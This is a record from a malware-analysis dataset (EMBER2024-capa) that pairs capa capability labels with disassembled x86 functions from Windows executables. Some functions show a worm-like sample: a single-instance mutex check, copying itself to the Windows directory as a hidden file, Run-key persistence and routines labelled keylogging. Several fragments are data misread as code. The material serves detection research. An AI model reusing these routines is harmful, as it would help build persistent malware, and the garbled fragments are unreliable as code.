joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403ee7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
xor edi, edi
cmp dword [esi], edi
je 0x403f16
cmp dword [esi + 4], edi
jbe 0x403f0f
mov eax, dword [esi]
mov eax, dword [eax + edi*8]
test eax, eax
je 0x403f09
push eax
call fcn.004301e8
inc edi
cmp edi, dword [esi + 4]
jb 0x403efa
push dword [esi]
call fcn.004324f6
push ebx
xor ebx, ebx
mov edi, 0xe0
cmp dword [esi + 8], ebx
je 0x403f48
cmp dword [esi + 0xc], ebx
jbe 0x403f40
mov dword [ebp + 8], ebx
mov eax, dword [esi + 8]
add eax, dword [ebp + 8]
push eax
call fcn.00403e14
add dword [ebp + 8], edi
inc ebx
cmp ebx, dword [esi + 0xc]
jb 0x403f2b
push dword [esi + 8]
call fcn.004324f6
xor ebx, ebx
cmp dword [esi + 0x10], ebx
je 0x403f74
cmp dword [esi + 0x14], ebx
jbe 0x403f6c
and dword [ebp + 8], ebx
mov eax, dword [esi + 0x10]
add eax, dword [ebp + 8]
push eax
call fcn.00403e14
add dword [ebp + 8], edi
inc ebx
cmp ebx, dword [esi + 0x14]
jb 0x403f57
push dword [esi + 0x10]
call fcn.004324f6
xor edi, edi
pop ebx
cmp dword [esi + 0x18], edi
je 0x403f9f
cmp dword [esi + 0x1c], edi
jbe 0x403f97
mov eax, dword [esi + 0x18]
mov eax, dword [eax + edi*8]
test dword [edi + 0x65], eax
je 0x403fb9
push ebp
outsb dx, byte [esi]
imul ebp, dword [esi + 0x73], 0x6c6c6174
push edx
imul esi, dword gs:[bp + di + 0x74], 0x654b7972
imul esi, dword [bp + di + 0x74], 0x654b7972
jns 0x403fcf
jo 0x404016
xor dword [eax], eax
add byte [eax], al
add byte [eax], al
add dword [eax], eax
add byte [eax], al
add byte [eax], al
add byte [ecx], al
add byte [ecx + 0x40], al
add byte [eax], al
add byte [esi + 0x2e000011], dh
adc dword [eax], eax
add byte [esi], ch
adc al, 0
add byte [0x516aede9], bl
cmp edi, dword [eax]
pop esp
add dword [edi - 0x7e818284], 0x383b8177
dec esi
dec esi
dec esi
cmp dword [ebx], 0x4e4e4e38
dec esi
adc byte [ebx - 0x6c685f5e], 0xa4
xchg ebx, eax
dec esi
mov al, byte [0xa1979593]
mov byte [0x994ea7a0], al
xchg ebx, eax
cmpsd dword [esi], dword es:[edi]
push esi
mov eax, dword [0x9d944e57]
mov al, byte [0xa1a7a14e]
mov byte [0x975b9b93], al
pushfd
mov eax, dword [0x9a9a8fa2]
xchg ebx, eax
xchg edx, eax
dec esi
invalid
invalid
Function at 0x4043ee
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x7a7], 0x55
mov byte [ebp - 0x7a6], 0x56
mov byte [ebp - 0x7a5], 0x7e
mov byte [ebp - 0x7a4], 0x21
mov byte [ebp - 0x7a3], 0x20
mov byte [ebp - 0x7a2], 0x3c
mov byte [ebp - 0x7a1], 0x76
mov byte [ebp - 0x7a0], 0x7e
mov byte [ebp - 0x79f], 0x7e
mov byte [ebp - 0x79e], 0x12
push 0xb
lea eax, [ebp - 0x7ac]
push eax
call fcn.004026e5
pop ecx
push eax
mov eax, dword [ebp - 0x338]
lea eax, [ebp + eax - 0x230]
push eax
call fcn.00402646
add esp, 0xc
jmp 0x40464d
mov eax, dword [ebp - 0x6fc]
inc eax
mov dword [ebp - 0x6fc], eax
and dword [ebp - 0x37c], 0
call fcn.004026d5
add eax, 0xff6e4b8d
mov ch, 0x60
cld
invalid

Function at 0x40550a
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
mov esi, str.:
lea edi, [ebp - 4]
movsd dword es:[edi], dword [esi]
push 0x11
call fcn.0040eb30
mov byte [eax], 0
add esp, 4
mov esi, eax
mov eax, dword [ebp + 8]
cmp byte [eax + 1], 0x3a
jne 0x40556c
mov al, byte [eax]
push 0x11
mov byte [ebp - 1], 0
mov byte [ebp - 4], al
call fcn.0040eb30
add esp, 4
mov edi, eax
lea eax, [ebp - 8]
lea ecx, [ebp - 0xc]
push 0x10
push edi
push eax
push ecx
push dword [ebp + 0xc]
push 0x10
push esi
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push edi
call fcn.0040eb10
add esp, 4
mov eax, esi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40c787
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov eax, dword [0x4305f0]
mov ebp, esp
sub esp, 0x10
mov eax, dword [eax + 0x675c]
push esi
push edi
mov esi, 0xc80000
imul ax, ax, 0x56
movzx edi, ax
push 1
lea eax, [ebp - 0x10]
push esi
push eax
push 0x78
push edi
call fcn.00405aca
add esp, 0x14
mov eax, dword [0x4305e4]
push edi
push eax
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
mov eax, dword [ebp - 4]
sub eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
sub eax, dword [ebp - 0x10]
push eax
mov eax, dword [0x4305f0]
push dword [ebp - 0xc]
push dword [ebp - 0x10]
push esi
add eax, 0x14cc
push eax
push dword [0x415b18]
push 1
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov ecx, dword [0x4305f0]
push 5
mov dword [ecx], eax
mov ecx, dword [0x4305f0]
push dword [ecx]
call dword [sym.imp.USER32.dll_ShowWindow]
mov ecx, dword [0x4305f0]
push dword [ecx]
call dword [sym.imp.USER32.dll_UpdateWindow]
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x40c8bb
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov eax, dword [0x4305f0]
mov ebp, esp
sub esp, 0x10
mov eax, dword [eax + 0x675c]
push esi
push edi
mov esi, 0xc80000
imul ax, ax, 0x3c
add ax, 0x50
push 1
movzx edi, ax
push esi
lea eax, [ebp - 0x10]
push eax
push 0x7f
push edi
call fcn.00405aca
add esp, 0x14
mov eax, dword [0x4305e4]
push edi
push eax
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
mov eax, dword [ebp - 4]
sub eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
sub eax, dword [ebp - 0x10]
push eax
mov eax, dword [0x4305f0]
push dword [ebp - 0xc]
push dword [ebp - 0x10]
push esi
add eax, 0x14cc
push eax
push dword [0x415b10]
push 1
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov esi, eax
push 5
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_UpdateWindow]
push 1
push esi
call fcn.0040c524
add esp, 8
mov edi, eax
push esi
call dword [sym.imp.USER32.dll_DestroyWindow]
test edi, edi
jne 0x40c99b
mov eax, dword [0x4305f0]
add eax, 0x1f2
push eax
call fcn.0040e930
add esp, 4
test eax, eax
jle 0x40c997
mov ecx, dword [0x4305f0]
lea ecx, [ecx + eax + 0x1f1]
cmp byte [ecx], 0x5c
jne 0x40c997
cmp eax, 3
jne 0x40c994
mov eax, dword [0x4305f0]
cmp byte [eax + 0x1f3], 0x3a
je 0x40c997
mov byte [ecx], 0
xor eax, eax
jmp 0x40c9a0
mov eax, 0xbe
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40ca37
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov eax, dword [0x4305f0]
mov ebp, esp
mov ecx, dword [0x4305f0]
sub esp, 0x10
mov eax, dword [eax + 0x675c]
add eax, dword [ecx + 0x6760]
push ebx
cdq
push esi
push edi
sub eax, edx
push 1
sar eax, 1
push 0xc80000
imul ax, ax, 0x21
add ax, 0x9d
lea ecx, [ebp - 0x10]
movzx esi, ax
push ecx
push 0xd6
push esi
call fcn.00405aca
add esp, 0x14
cmp dword [0x415b68], 0
je 0x40ca9a
mov eax, dword [ebp - 0x10]
sub dword [ebp - 8], eax
mov eax, dword [0x415b68]
mov dword [ebp - 0x10], eax
add dword [ebp - 8], eax
cmp dword [0x415b6c], 0
je 0x40cab4
mov eax, dword [ebp - 0xc]
sub dword [ebp - 4], eax
mov eax, dword [0x415b6c]
mov dword [ebp - 0xc], eax
add dword [ebp - 4], eax
push esi
mov eax, dword [0x4305e4]
push eax
mov esi, dword [ebp + 8]
push 0
mov eax, dword [ebp - 4]
push esi
sub eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
sub eax, dword [ebp - 0x10]
push eax
mov eax, dword [0x4305f0]
push dword [ebp - 0xc]
push dword [ebp - 0x10]
push 0xc80000
add eax, 0x14cc
push eax
push dword [0x415b1c]
push 1
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov ebx, eax
push 0
push esi
call dword [sym.imp.USER32.dll_EnableWindow]
push 5
push ebx
call dword [sym.imp.USER32.dll_ShowWindow]
push ebx
call dword [sym.imp.USER32.dll_UpdateWindow]
push 1
push ebx
call fcn.0040c524
add esp, 8
mov edi, eax
lea eax, [ebp - 0x10]
push eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowRect]
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
push 1
mov dword [0x415b68], ecx
push esi
mov dword [0x415b6c], eax
call dword [sym.imp.USER32.dll_EnableWindow]
push ebx
call dword [sym.imp.USER32.dll_DestroyWindow]
push esi
call dword [sym.imp.USER32.dll_SetActiveWindow]
mov eax, 0
cmp edi, 1
adc eax, 0xffffffff
pop edi
and eax, 0xbe
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40e8a8
Capabilities:
Enumerate gui resources

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
push edi
call fcn.004133e0
add esp, 4
lea eax, [edi + 0x64]
xor esi, esi
push eax
call fcn.004133e0
add esp, 4
push edi
mov dword [0x415b24], esi
push 0x40e844
call dword [sym.imp.USER32.dll_EnumWindows]
push esi
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x415b24], esi
jne 0x40e8c5
pop edi
pop esi
ret

Function at 0x40eaa0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x104
lea eax, [esp]
push esi
xor esi, esi
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
test eax, eax
je 0x40ead6
cmp byte [esp + 5], 0x3a
jne 0x40ead6
xor eax, eax
mov al, byte [esp + 4]
push eax
call fcn.0040ee60
add esp, 4
lea esi, [eax - 0x40]
mov eax, esi
pop esi
add esp, 0x104
ret
Function at 0x40f450
Capabilities:
Terminate process

Disassembly:
mov dword [0x415f74], 1
cmp dword [esp + 8], 0
push ebx
push esi
mov ebx, dword [esp + 0x14]
mov byte [0x415f70], bl
jne 0x40f4ac
cmp dword [0x431a78], 0
je 0x40f49a
mov esi, dword [0x431a70]
sub esi, 4
cmp esi, dword [0x431a78]
jb 0x40f49a
mov eax, dword [esi]
test eax, eax
je 0x40f48f
call eax
sub esi, 4
cmp esi, dword [0x431a78]
jae 0x40f487
push 0x41501c
push 0x415014
call fcn.0040f4d0
add esp, 8
push 0x415024
push 0x415020
call fcn.0040f4d0
add esp, 8
test ebx, ebx
jne 0x40f4cd
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop esi
pop ebx
ret

Function at 0x40f7f0
Capabilities:
Delete file

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
mov eax, 0
jne 0x40f80a
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x40f81d
push eax
call fcn.004101c0
add esp, 4
mov eax, 0xffffffff
ret
xor eax, eax
ret
Function at 0x10007285
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0x9c]
sub esp, 0x11c
mov eax, dword [0x10024b00]
xor eax, ebp
mov dword [ebp + 0x98], eax
mov eax, dword [ebp + 0xa4]
push ebx
push esi
mov esi, ecx
mov ecx, dword [esi + 4]
push edi
or ecx, 0x2001f
push ecx
push eax
push dword [esi]
xor edi, edi
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x70], edi
mov dword [ebp - 0x6c], edi
call fcn.10006a89
mov ebx, eax
cmp ebx, edi
je 0x100072f5
lea ecx, [ebp - 0x70]
call fcn.10006a20
mov eax, ebx
mov ecx, dword [ebp + 0x98]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000c94b
add ebp, 0x9c
leave
ret 4
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
jmp 0x1000730d
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x70]
call fcn.10007285
cmp eax, edi
jne 0x10007340
lea eax, [ebp - 0x80]
push eax
push edi
push edi
push edi
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x68]
push eax
push edi
push dword [ebp - 0x70]
mov dword [ebp - 0x74], 0x100
call ebx
test eax, eax
je 0x100072fd
lea ecx, [ebp - 0x70]
call fcn.10006a20
push dword [ebp - 0x78]
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
lea ecx, [ebp - 0x70]
mov esi, eax
call fcn.10006a20
mov eax, esi
jmp 0x100072db

Function at 0x100072a7
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0x9c]
sub esp, 0x11c
mov eax, dword [0x10024b00]
xor eax, ebp
mov dword [ebp + 0x98], eax
mov eax, dword [ebp + 0xa4]
push ebx
push esi
mov esi, ecx
mov ecx, dword [esi + 4]
push edi
or ecx, 0x2001f
push ecx
push eax
push dword [esi]
xor edi, edi
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x70], edi
mov dword [ebp - 0x6c], edi
call fcn.10006a89
mov ebx, eax
cmp ebx, edi
je 0x100072f5
lea ecx, [ebp - 0x70]
call fcn.10006a20
mov eax, ebx
mov ecx, dword [ebp + 0x98]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000c94b
add ebp, 0x9c
leave
ret 4
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
jmp 0x1000730d
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x70]
call fcn.10007285
cmp eax, edi
jne 0x10007340
lea eax, [ebp - 0x80]
push eax
push edi
push edi
push edi
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x68]
push eax
push edi
push dword [ebp - 0x70]
mov dword [ebp - 0x74], 0x100
call ebx
test eax, eax
je 0x100072fd
lea ecx, [ebp - 0x70]
call fcn.10006a20
push dword [ebp - 0x78]
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
lea ecx, [ebp - 0x70]
mov esi, eax
call fcn.10006a20
mov eax, esi
jmp 0x100072db
Function at 0x10009ad9
Capabilities:
Contain obfuscated stackstrings

Disassembly:
ror byte [ebp - 0x65243], 0xff
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x504], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x503]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.10008bc0
or byte [eax + 0x2ff845c6], ah
mov byte [ebp - 0x24], 0x34
and byte [ebp - 0x36c], 0
and byte [ebp - 0x36b], 0
mov byte [ebp - 0x36a], 0xaa
and byte [ebp - 0x369], 0
mov byte [ebp - 0x368], 0x12
mov byte [ebp - 0x367], 0x30
mov byte [ebp - 0x366], 0x21
mov byte [ebp - 0x365], 6
mov byte [ebp - 0x364], 0x2c
mov byte [ebp - 0x363], 0x26
mov byte [ebp - 0x362], 0x21
mov byte [ebp - 0x361], 0x30
mov byte [ebp - 0x360], 0x38
mov byte [ebp - 0x35f], 0x11
mov byte [ebp - 0x35e], 0x3c
mov byte [ebp - 0x35d], 0x27
mov byte [ebp - 0x35c], 0x30
mov byte [ebp - 0x35b], 0x36
mov byte [ebp - 0x35a], 0x21
invalid
Function at 0x1000c94b
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10024b00]
jne 0x1000c955
repz ret
jmp fcn.1001366c

Function at 0x1001bab2
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.10011225
and dword [ebp - 4], 0
cmp dword [0x10026680], 0
mov ebx, eax
jne 0x1001bb63
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x1001bc14
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x10020064
push edi
call esi
test eax, eax
je 0x1001bc14
push eax
call fcn.100111b3
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x10026680], eax
call esi
push eax
call fcn.100111b3
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x10026684], eax
call esi
push eax
call fcn.100111b3
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x10026688], eax
call esi
push eax
call fcn.100111b3
pop ecx
mov dword [0x10026690], eax
test eax, eax
je 0x1001bb63
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.100111b3
pop ecx
mov dword [0x1002668c], eax
mov eax, dword [0x1002668c]
cmp eax, ebx
je 0x1001bbbb
cmp dword [0x10026690], ebx
je 0x1001bbbb
push eax
call fcn.1001122e
push dword [0x10026690]
mov esi, eax
call fcn.1001122e
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x1001bbbb
test edi, edi
je 0x1001bbbb
call esi
test eax, eax
je 0x1001bbb2
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x1001bbb2
test byte [ebp - 0xc], 1
jne 0x1001bbbb
or dword [ebp + 0x10], 0x200000
jmp 0x1001bbf4
mov eax, dword [0x10026684]
cmp eax, ebx
je 0x1001bbf4
push eax
call fcn.1001122e
pop ecx
test eax, eax
je 0x1001bbf4
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x1001bbf4
mov eax, dword [0x10026688]
cmp eax, ebx
je 0x1001bbf4
push eax
call fcn.1001122e
pop ecx
test eax, eax
je 0x1001bbf4
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x10026680]
call fcn.1001122e
pop ecx
test eax, eax
je 0x1001bc14
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x1001bc16
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x406260
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x40d07c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00403dae
and dword [ebp - 0x14], 0
cmp dword [0x40e920], 0
mov dword [ebp - 0x18], eax
jne 0x406313
push 0x40a7f0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4063bb
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40a7e4
push ebx
call edi
test eax, eax
je 0x4063bb
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x40e920], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x40e924], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x40e928], eax
call edi
push eax
call esi
mov dword [0x40e930], eax
test eax, eax
je 0x406313
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x40e92c], eax
mov eax, dword [0x40e92c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40636c
cmp dword [0x40e930], ecx
je 0x40636c
push eax
call esi
push dword [0x40e930]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40636c
test ebx, ebx
je 0x40636c
call edi
test eax, eax
je 0x406363
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x406363
test byte [ebp - 8], 1
jne 0x40636c
or dword [ebp + 0x10], 0x200000
jmp 0x40639f
mov eax, dword [0x40e924]
cmp eax, dword [ebp - 0x18]
je 0x40639f
push eax
call esi
test eax, eax
je 0x40639f
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40639f
mov eax, dword [0x40e928]
cmp eax, dword [ebp - 0x18]
je 0x40639f
push eax
call esi
test eax, eax
je 0x40639f
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x40e920]
call esi
test eax, eax
je 0x4063bb
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4063bd
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402701
leave
ret
Function at 0x40128f
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Terminate process

Disassembly:
jmp 0x407b03
call fcn.0040402a
test al, al
jne 0x407b0d
ret
call fcn.00403c92
push str.w32.ogw0rm
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x407b36
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.00403d5a
call fcn.004034d6
push 0x493e0
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x407b36

Function at 0x402559
Capabilities:
Terminate process

Disassembly:
jmp 0x43ae5b
push 0x17
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x43ae6c
push 5
pop ecx
int 0x29
push esi
push 1
mov esi, 0xc0000417
push esi
push 2
call fcn.004038a0
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop esi
ret

Function at 0x4031de
Capabilities:
Log keystrokes via polling

Disassembly:
jmp 0x407713
push ebx
push edi
mov edi, dword [sym.imp.USER32.dll_keybd_event]
xor ebx, ebx
push ebx
push ebx
push ebx
push 0x11
call edi
push ebx
push ebx
push ebx
push 0x61
call dword [sym.imp.USER32.dll_VkKeyScanA]
movzx eax, al
push eax
call edi
push ebx
push ebx
push ebx
push 0x2e
call edi
push ebx
push 2
push ebx
push 0x11
call edi
push ebx
push 2
push ebx
push 0x61
call dword [sym.imp.USER32.dll_VkKeyScanA]
movzx eax, al
push eax
call edi
push ebx
push 2
push ebx
push 0x2e
call edi
pop edi
pop ebx
ret

Function at 0x4034d6
Capabilities:
Copy file
Set file attributes

Disassembly:
jmp 0x407b5f
sub esp, 0xc
push ebx
push ebp
mov ebp, 0x208
push ebp
call fcn.00401b90
mov ebx, eax
pop ecx
test ebx, ebx
je 0x407c47
push esi
push edi
push ebp
push 0
push ebx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x104
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, 0x470080
mov dword [esp + 0x14], 0xc
lea esi, [ebx + 0x104]
mov dword [esp + 0x10], eax
xor ebp, ebp
mov ecx, dword [eax]
mov edx, esi
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x407bba
mov edx, dword [ebp + 0x4700b0]
mov ecx, edx
mov dword [esp + 0x18], ecx
mov al, byte [edx]
inc edx
test al, al
jne 0x407bd0
sub edx, ecx
lea edi, [esi - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x407bdc
mov esi, dword [esp + 0x18]
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0
lea esi, [ebx + 0x104]
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x407c16
push 0x80
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, dword [esp + 0x10]
add ebp, 4
cmp ebp, 0x74
jb 0x407bb6
add eax, 4
sub dword [esp + 0x14], 1
mov dword [esp + 0x10], eax
jne 0x407bb4
pop edi
pop esi
push 0x208
push ebx
call fcn.004015a0
pop ecx
pop ecx
pop ebp
mov al, 1
pop ebx
add esp, 0xc
ret
push 0
call dword [sym.imp.KERNEL32.dll_ExitThread]
Function at 0x403c92
Capabilities:
Copy file
Get common file path
Persist via run registry key
Set file attributes
Set registry value

Disassembly:
jmp 0x4079d5
push ebx
push ebp
mov ebp, 0x414
push ebp
call fcn.00401b90
mov ebx, eax
pop ecx
test ebx, ebx
je 0x407abe
push esi
push edi
push ebp
push 0
push ebx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea edi, [ebx + 0x108]
mov ebp, 0x104
push ebp
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push ebp
lea esi, [ebx + 4]
push esi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.1.exe
push esi
push str._s_s
lea ebp, [ebx + 0x20c]
push 0x104
push ebp
call fcn.0040184d
add esp, 0x14
xor esi, esi
push esi
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x407a59
push 7
push ebp
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
cmp byte [0x470fc8], 0
je 0x407aaa
push esi
push ebx
push esi
push 0xf003f
push esi
push esi
push esi
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov edi, str.1.exe
mov ecx, edi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407a87
sub ecx, edx
push ecx
push edi
push 1
push esi
push str.winsock_startup
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x414
push ebx
call fcn.004015a0
pop ecx
pop ecx
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
ret
push 0
call dword [sym.imp.KERNEL32.dll_ExitThread]

Function at 0x40402a
Capabilities:
Initialize winsock library

Disassembly:
jmp 0x40796e
push esi
push edi
mov edi, 0x190
push edi
call fcn.00401b90
mov esi, eax
pop ecx
test esi, esi
je 0x4079b8
and dword [esi], 0
push esi
push 0x202
call sub.WS2_32.dll_WSAStartup
test eax, eax
je 0x407999
xor al, al
pop edi
pop esi
ret
cmp byte [esi], 2
jne 0x4079b1
cmp byte [esi + 1], 2
jne 0x4079b1
push edi
push esi
call fcn.004015a0
pop ecx
pop ecx
mov al, 1
jmp 0x407996
call sub.WS2_32.dll_WSACleanup
jmp 0x407994
push 0
call dword [sym.imp.KERNEL32.dll_ExitThread]

Function at 0x43bd9c
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x468388
push 0x468380
push str.FlsAlloc
push 0x1f
call fcn.0043b9a1
mov esi, eax
add esp, 0x10
test esi, esi
je 0x43bdd0
push dword [ebp + 8]
mov ecx, esi
call dword [section..00cfg]
call esi
jmp 0x43bdd6
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4